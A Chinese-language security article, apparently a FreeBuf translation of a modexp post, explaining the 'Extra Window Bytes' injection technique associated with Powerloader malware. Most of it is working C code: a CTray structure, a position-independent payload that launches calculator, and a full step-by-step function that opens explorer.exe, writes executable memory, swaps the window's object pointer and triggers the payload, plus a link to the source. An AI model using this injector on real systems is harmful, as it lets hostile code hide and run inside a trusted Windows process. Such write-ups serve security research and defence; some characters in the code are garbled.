Windows程序注入技術:額外視窗位元組能做很多事情
介紹
Windows 程序注入技術之所以被眾人所知,是因為2013年肆虐網路的Powerloader惡意軟體當時使用的正是這種技術。在此之前,幾乎沒有人知道這種程序注入技術,因為從上世紀80年代到90年代初期,當時的Windows作業系統就已經引入了這種“功能”。額外視窗位元組的索引0值可以用來跟一個視窗的類物件進行關聯,指向類物件的指標是使用SetWindowLongPtr儲存在索引0位置的,並通過GetWindowLongPtr來獲取。
早在2009年的WASM論壇上,就曾有一位名叫“Indy(Clerk)”的使用者提到過將“Shell_TrayWnd”類作為一種注入向量來使用。下圖顯示的就是“Shell_TrayWnd”類的相關資訊,你可以看到視窗位元組的索引0設定有相應的值:
WindowsSpy++在這裡並不能顯示完整的64位值,但是在下圖中我們可以看到,它顯示了GetWindowLongPtr API所返回的同一視窗的值(CTray物件的完整地址):
CTray類
這個類中只有三個方法,而且沒有額外的屬性值。指向每一個方法的指標都只有只讀屬性,所以我們不能直接將指向WndProc的指標重寫並讓它指向我們的Payload。因此,我們需要手動構造一個物件,但是我認為另一種比較好的方法是將現有物件拷貝到本地記憶體之中,重寫WndProc,然後把物件寫到explorer記憶體中的一個新的位置。下面的結構體可以用來定義我們所需要的物件及指標:
//CTray object for Shell_TrayWnd type defstruct _ctray_vtable { ULONG_PTR vTable;// change to remote memory address ULONG_PTR AddRef; ULONG_PTR Release; ULONG_PTR WndProc;// window procedure (change to payload) }CTray;
上面這個結構體包含了替換CTray物件(包括32位和64位作業系統)所需要的所有資料,32位系統中ULONG_PTR的大小為4個位元組,64位系統則是8個位元組。
Payload
這種方法跟PROPagate所使用的程式碼之間主要的區別就在於函式原型,如果在函式將返回值傳遞給呼叫者時我們不提供相同數量的引數,那麼將有可能讓Windows Explorer崩潰,或者讓那些跟這個類有關聯的視窗發生崩潰。
LRESULTCALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // ignore messages other than WM_CLOSE if (uMsg != WM_CLOSE) return 0; WinExec_t pWinExec; DWORDszWinExec[2], szCalc[2]; // WinExec szWinExec[0]=0x456E6957; szWinExec[1]=0x00636578; // calc szCalc[0] = 0x636C6163; szCalc[1] = 0; pWinExec =(WinExec_t)xGetProcAddress(szWinExec); if(pWinExec != NULL) { pWinExec((LPSTR)szCalc, SW_SHOW); } return 0; }
完整的函式
下面給出的是執行注入所需要的完整函式程式碼(位置無關程式碼PIC),這裡為了方便演示,我忽略了錯誤處理:
LPVOIDewm(LPVOID payload, DWORD payloadSize){ LPVOIDcs, ds; CTrayct; ULONG_PTR ctp; HWNDhw; HANDLEhp; DWORDpid; SIZE_Twr;
1. 獲取shell tray視窗的處理器
hw = FindWindow("Shell_TrayWnd",NULL);
2. 獲取explorer.exe的程序ID
GetWindowThreadProcessId(hw, &pid);
3. 開啟explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE,pid);
4. 獲取指向當前CTray物件的指標
ctp = GetWindowLongPtr(hw, 0);
5. 讀取當前CTray物件的地址
ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable,sizeof(ULONG_PTR), ≀);
6. 從虛擬頁表中讀取三條地址
ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR)* 3, ≀);
7.為程式碼分配記憶體讀/寫/執行許可權
cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
8. 將程式碼拷貝到目標程序中
WriteProcessMemory(hp, cs, payload,payloadSize, ≀);
9. 為新的CTray物件分配記憶體讀/寫許可權
ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
10. 向遠端記憶體寫入新的CTray物件
ct.vTable = (ULONG _PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct,sizeof(ct), &wr);
11. 設定指向CTray物件的新指標
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
12. 通過視窗訊息觸發Payload
PostMessage(hw, WM_CLOSE, 0, 0);
13. 恢復原始的CTray物件
SetWindowLongPtr(hw, 0, ctp);
14. 釋放記憶體,關閉處理程序
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT |MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT |MEM_RELEASE); CloseHandle(hp); }
總結
這種針對視窗物件的程序注入技術通常會被歸類為“Shatter”攻擊,雖然Windows Vista引入的使用者介面許可權隔離(UIPI)功能從某種程度上來說能夠緩解這種攻擊所帶來的影響,但最新版本的Windows 10作業系統仍然無法抵禦這種型別的攻擊。
感興趣的使用者可以點選【 ofollow,noindex" target="_blank">這裡 】獲取Payload原始碼和可執行程式計算器。
* 參考來源: modexp ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM